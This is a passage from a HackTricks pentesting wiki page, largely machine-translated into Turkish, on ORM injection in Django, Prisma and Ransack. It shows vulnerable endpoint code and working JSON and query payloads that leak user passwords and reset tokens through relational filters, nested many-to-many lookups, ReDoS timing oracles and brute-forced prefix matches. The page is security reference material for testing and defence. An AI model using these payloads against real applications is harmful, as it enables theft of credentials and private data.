ORM Injection

Support HackTricks

Django ORM (Python)

In this post nasıl bir Django ORM'nin, örneğin aşağıdaki gibi bir kod kullanılarak savunmasız hale getirilebileceği açıklanmaktadır:

class ArticleView(APIView):
"""
Kullanıcıların makaleleri aramak için istek gönderdiği bazı temel API görünümü
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Tüm request.data'nın (bu bir json olacaktır) doğrudan veritabanından nesneleri filtrelemek için geçirildiğine dikkat edin. Bir saldırgan, beklenenden daha fazla veri sızdırmak için beklenmedik filtreler gönderebilir.

Örnekler:

  • Giriş: Basit bir girişte, içindeki kayıtlı kullanıcıların şifrelerini sızdırmaya çalışın.

{
"username": "admin",
"password_startswith":"a"
}

Şifreyi brute-force ile kırmak, sızdırılana kadar mümkündür.

  • İlişkisel filtreleme: İşlemde kullanılacağı bile beklenmeyen sütunlardan bilgi sızdırmak için ilişkileri geçmek mümkündür. Örneğin, bu ilişkilerle bir kullanıcı tarafından oluşturulan makaleleri sızdırmak mümkünse: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Tüm makale oluşturmuş kullanıcıların şifrelerini bulmak mümkündür.

  • Çoktan çoğa ilişkisel filtreleme: Önceki örnekte, makale oluşturmamış kullanıcıların şifrelerini bulamadık. Ancak, diğer ilişkileri takip ederek bu mümkündür. Örneğin: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

Bu durumda, makaleler oluşturan kullanıcıların departmanlarındaki tüm kullanıcıları bulabiliriz ve ardından şifrelerini sızdırabiliriz (önceki json'da yalnızca kullanıcı adlarını sızdırıyoruz ama daha sonra şifreleri sızdırmak mümkün).

  • Django Grup ve İzinlerinin kullanıcılarla olan çoktan çoğa ilişkilerini kötüye kullanma: Ayrıca, AbstractUser modeli Django'da kullanıcıları oluşturmak için kullanılır ve varsayılan olarak bu modelin İzin ve Grup tablolarıyla bazı çoktan çoğa ilişkileri vardır. Bu, temelde aynı grupta bulunan veya aynı izni paylaşan bir kullanıcıdan diğer kullanıcılara erişmenin varsayılan yoludur.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Filtre kısıtlamalarını atlama: Aynı blog yazısı, articles = Article.objects.filter(is_secret=False, **request.data) gibi bazı filtrelerin kullanımını atlamayı önerdi. is_secret=True olan makaleleri dökme olasılığı vardır çünkü bir ilişkiden Article tablosuna geri dönebiliriz ve gizli makaleleri gizli olmayan makalelerden sızdırabiliriz çünkü sonuçlar birleştirilmiştir ve is_secret alanı gizli olmayan makalede kontrol edilirken veri gizli makaleden sızdırılmaktadır.

Article.objects.filter(is_secret=False, categories__articles__id=2)

İlişkileri kötüye kullanarak, gösterilen verileri korumak için tasarlanmış filtreleri bile atlatmak mümkündür.

  • Hata/Zaman bazlı ReDoS ile: Önceki örneklerde, filtrelemenin çalışıp çalışmadığına göre farklı yanıtlar alınması bekleniyordu ve bu, oracle olarak kullanılacaktı. Ancak, veritabanında bazı işlemler yapıldığında yanıtın her zaman aynı olması mümkün olabilir. Bu senaryoda, yeni bir oracle elde etmek için veritabanı hatası oluşturmak mümkün olabilir.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Aynı gönderiden bu vektörle ilgili:

  • SQLite: Varsayılan olarak bir regexp operatörüne sahip değildir (üçüncü taraf bir uzantının yüklenmesi gerekir)

  • PostgreSQL: Varsayılan bir regex zaman aşımına sahip değildir ve geri izlemeye daha az eğilimlidir

  • MariaDB: Bir regex zaman aşımına sahip değildir

Prisma ORM (NodeJS)

Aşağıdakiler bu gönderiden çıkarılan ipuçlarıdır.

  • Tam bulma kontrolü:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Saldırganın tüm prisma seçenekleri üzerinde tam kontrolü vardır
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Tüm javascript gövdesinin sorgular gerçekleştirmek için prisma'ya geçirildiği görülebilir.

Orijinal gönderideki örnekte, bu, birisi tarafından oluşturulan tüm gönderileri kontrol eder (her gönderi birisi tarafından oluşturulur) ve o kişinin kullanıcı bilgilerini (kullanıcı adı, şifre...) de döndürür.

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Aşağıdaki, bir şifreye sahip olan birinin oluşturduğu tüm gönderileri seçer ve şifreyi döndürecektir:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Tam where ifadesi kontrolü:

Saldırının where ifadesini kontrol edebileceği duruma bir göz atalım:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORM Leak'lerine karşı savunmasız
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Kullanıcıların şifrelerini doğrudan filtrelemek mümkündür:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

startsWith gibi işlemler kullanarak bilgi sızdırmak mümkündür.

  • Çoktan çoğa ilişkisel filtreleme ile filtrelemeyi atlama:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Category -[*..*]-> Article arasındaki çoktan çoğa ilişkileri kullanarak yayımlanmamış makaleleri sızdırmak mümkündür:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Aynı zamanda bazı döngüsel çoktan çoğa ilişkileri kötüye kullanarak tüm kullanıcıları sızdırmak da mümkündür:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Hata/Zamanlı sorgular: Orijinal yazıda, zaman tabanlı bir yük ile bilgi sızdırmak için optimal yükü bulmak amacıyla gerçekleştirilen çok kapsamlı bir test setini okuyabilirsiniz. Bu şudur:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} is a list with 1000 strings to make sure the yanıtın doğru leak bulunduğunda geciktiğinden emin olmak için.

Ransack (Ruby)

These tricks where found in this post.

Ransack 4.0.0.0'ın artık aranabilir nitelikler ve ilişkiler için açık bir izin listesi kullanımını zorunlu kıldığını unutmayın.

Zayıf örnek:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Not edin ki sorgu, saldırgan tarafından gönderilen parametrelerle tanımlanacaktır. Örneğin, sıfırlama token'ını brute-force yapmak mümkün oldu:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Brute-forcing ve potansiyel ilişkilerle, bir veritabanından daha fazla veri sızdırmak mümkün oldu.

References

Support HackTricks

Last updated